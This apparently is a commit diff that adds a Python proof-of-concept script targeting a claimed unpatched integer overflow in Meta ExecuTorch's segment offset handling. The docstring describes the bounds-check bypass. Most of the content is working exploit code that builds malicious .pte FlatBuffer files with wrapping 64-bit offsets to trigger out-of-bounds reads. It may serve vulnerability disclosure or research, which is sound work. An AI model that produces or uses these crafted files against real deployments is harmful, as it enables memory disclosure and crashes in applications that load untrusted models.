Add offset overflow PoC

poc_offset_overflow.py

@@ -0,0 +1,138 @@
+#!/usr/bin/env python3
+"""
+PoC: Unsigned Integer Overflow in Segment Offset Calculations — Meta ExecuTorch
+================================================================================
+CVE: N/A (0-day)
+Target: executorch/runtime/executor/program.cpp (line 592, 609)
+        executorch/runtime/executor/pte_data_map.cpp (line 58)
+Severity: High (Out-of-Bounds Read via Bounds Check Bypass)
+
+VULNERABILITY SUMMARY:
+Multiple functions in the ExecuTorch runtime perform unchecked arithmetic
+on segment offsets before using the result to load data. These offsets
+are read from the .pte FlatBuffer file and are fully attacker-controlled.
+
+BUG 1 — program.cpp:592 (bounds check bypass):
+    if (offset + size > segment->size()) {  // offset + size WRAPS to small value
+        return Error::InvalidArgument;       // check passes incorrectly!
+    }
+
+BUG 2 — program.cpp:609 (triple addition overflow):
+    return loader_->load(
+        segment_base_offset_ + segment->offset() + offset, ...);
+
+BUG 3 — pte_data_map.cpp:58 (double addition overflow):
+    return loader_->load(
+        segment_base_offset_ + segment_offset, segment_size, ...);
+
+This script generates .pte files demonstrating both overflow vectors.
+Requires: pip install flatbuffers
+"""
+
+import struct
+import sys
+import os
+import flatbuffers
+
+FILE_IDENTIFIER = b"ET12"
+KERNEL_TYPE_INT = 2
+
+def build_segment_overflow_pte(output_path, segment_offset, segment_size):
+    builder = flatbuffers.Builder(2048)
+
+    builder.StartObject(1)
+    builder.PrependInt64Slot(0, 0, 0)
+    int_offset = builder.EndObject()
+
+    builder.StartObject(2)
+    builder.PrependUint8Slot(0, KERNEL_TYPE_INT, 0)
+    builder.PrependUOffsetTRelativeSlot(1, int_offset, 0)
+    evalue_offset = builder.EndObject()
+
+    builder.StartVector(4, 1, 4)
+    builder.PrependUOffsetTRelative(evalue_offset)
+    values_vec = builder.EndVector()
+
+    builder.StartVector(4, 1, 4)
+    builder.PrependInt32(0)
+    inputs_vec = builder.EndVector()
+
+    builder.StartVector(4, 1, 4)
+    builder.PrependInt32(0)
+    outputs_vec = builder.EndVector()
+
+    builder.StartVector(8, 1, 8)
+    builder.PrependInt64(0)
+    non_const_vec = builder.EndVector()
+
+    name_str = builder.CreateString("forward")
+
+    builder.StartObject(9)
+    builder.PrependUOffsetTRelativeSlot(0, name_str, 0)
+    builder.PrependUOffsetTRelativeSlot(2, values_vec, 0)
+    builder.PrependUOffsetTRelativeSlot(3, inputs_vec, 0)
+    builder.PrependUOffsetTRelativeSlot(4, outputs_vec, 0)
+    builder.PrependUOffsetTRelativeSlot(8, non_const_vec, 0)
+    exec_plan_offset = builder.EndObject()
+
+    builder.StartVector(4, 1, 4)
+    builder.PrependUOffsetTRelative(exec_plan_offset)
+    exec_plan_vec = builder.EndVector()
+
+    builder.StartObject(2)
+    builder.PrependUint64Slot(0, segment_offset, 0)
+    builder.PrependUint64Slot(1, segment_size, 0)
+    segment_entry = builder.EndObject()
+
+    builder.StartVector(4, 1, 4)
+    builder.PrependUOffsetTRelative(segment_entry)
+    segments_vec = builder.EndVector()
+
+    builder.StartVector(8, 1, 8)
+    builder.PrependUint64(0)
+    offsets_vec = builder.EndVector()
+
+    builder.StartObject(2)
+    builder.PrependUint32Slot(0, 0, 0)
+    builder.PrependUOffsetTRelativeSlot(1, offsets_vec, 0)
+    const_segment = builder.EndObject()
+
+    builder.StartObject(8)
+    builder.PrependUint32Slot(0, 0, 0)
+    builder.PrependUOffsetTRelativeSlot(1, exec_plan_vec, 0)
+    builder.PrependUOffsetTRelativeSlot(4, segments_vec, 0)
+    builder.PrependUOffsetTRelativeSlot(5, const_segment, 0)
+    program_offset = builder.EndObject()
+
+    builder.Finish(program_offset, file_identifier=FILE_IDENTIFIER)
+    buf = bytes(builder.Output())
+
+    with open(output_path, "wb") as f:
+        f.write(buf)
+    return buf
+
+def main():
+    print("PoC: Segment Offset Overflow in Meta ExecuTorch")
+    UINT64_MAX = (1 << 64) - 1
+
+    # Scenario 1: Bounds check bypass
+    seg_offset = 0xFFFFFFFFFFFF0000
+    seg_size = 0x0000000000020000
+    buf1 = build_segment_overflow_pte("malicious_segment_bypass.pte", seg_offset, seg_size)
+    print(f"Generated: malicious_segment_bypass.pte ({len(buf1)} bytes)")
+
+    # Scenario 2: Triple addition overflow
+    assumed_base = 4096
+    seg_offset2 = (0 - assumed_base) % (1 << 64)
+    buf2 = build_segment_overflow_pte("malicious_segment_triple.pte", seg_offset2, 0x1000)
+    print(f"Generated: malicious_segment_triple.pte ({len(buf2)} bytes)")
+
+    # Verify
+    for path in ["malicious_segment_bypass.pte", "malicious_segment_triple.pte"]:
+        with open(path, "rb") as f:
+            data = bytearray(f.read())
+        assert data[4:8] == FILE_IDENTIFIER
+        print(f"  {path}: Valid ET12 FlatBuffer ({len(data)} bytes)")
+
+if __name__ == "__main__":
+    main()